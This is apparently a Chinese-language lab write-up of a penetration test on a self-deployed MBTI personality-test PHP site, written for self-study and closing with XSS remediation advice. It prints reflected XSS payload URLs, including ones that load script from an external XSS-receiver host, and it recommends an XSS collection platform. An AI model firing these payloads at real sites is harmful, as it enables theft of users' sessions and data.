在淘宝购买了性格测试系统源代码进行环境部署,后进行渗透测试
淘宝源码链接:https://item.taobao.com/item.htm?ft=t&id=790798788255
(自己学习(代码审计、算法、环境搭建)知识技能提升)
环境准备
集成环境选的是小皮 phpstudy
创建网站,将源代码放入网站根目录配置好数据库信息和端口后
访问目标端口
漏洞发现
常规信息搜集
1、URL接口扫描是否存在敏感信息 找到后台管理界面--(PHP FastAdmin管理项目)
2、因为是内网自己搭建的环境就每天做端口扫描
3、分析网址信息
点击开始测试发现请求有个传参点
修改参数查看响应是否存在sql注入之类的
利用sqlmap工具跑一下
没有找到回显点,判断是否是延时注入,构造请求测试
查看页面源代码,观察传参点回显
构造闭合参数,各种绕过方式测试,触发xss漏洞
http://192.168.125.174:8099/mbti/index/question.html?type=1';alert(/xss/)//1212
闭合<script>标签 再插入新标签
http://192.168.125.174:8099/mbti/index/question.html?type=1';</script><script>alert(/xss/)</script>//1212
漏洞利用
在线XSS接收平台
推荐:XSS平台-仅用于xss安全测试专用 也可以自己搭建xss接收平台
创建项目
http://192.168.125.174:8099/mbti/index/question.html?type=1';</script><sCRiPt sRC=//uj.ci/j0q></sCrIpT>//1212
http://192.168.125.174:8099/mbti/index/question.html?type=1%27;</script><sCRiPt sRC=//uj.ci/lce></sCrIpT>//1212
漏洞修复
在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;使用白名单过滤掉恶意用户输入的恶意字符如:“'”“"”"<" ">" "on*"等非法字符
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;对输出页面数据进行相应的编码转换,通过HTML实体编码、JavaScript编码等
1、对用户输入数据进行实体转义;
2、对用户输入的数据进行全面安全检查或过滤,尤其注意检查是否包含HTML特殊字符。这些检查或过滤必须在服务器端完成,建议过滤的常见危险字符如下:
Ø |(竖线符号)
Ø & (& 符号)
Ø ;(分号)
Ø $(美元符号)
Ø %(百分比符号)
Ø @(at 符号)
Ø '(单引号)
Ø "(引号)
Ø \'(反斜杠转义单引号)
Ø \"(反斜杠转义引号)
Ø <>(尖括号)
Ø ()(括号)
Ø +(加号)
Ø CR(回车符,ASCII 0x0d)
Ø LF(换行,ASCII 0x0a)
Ø ,(逗号)\(反斜杠)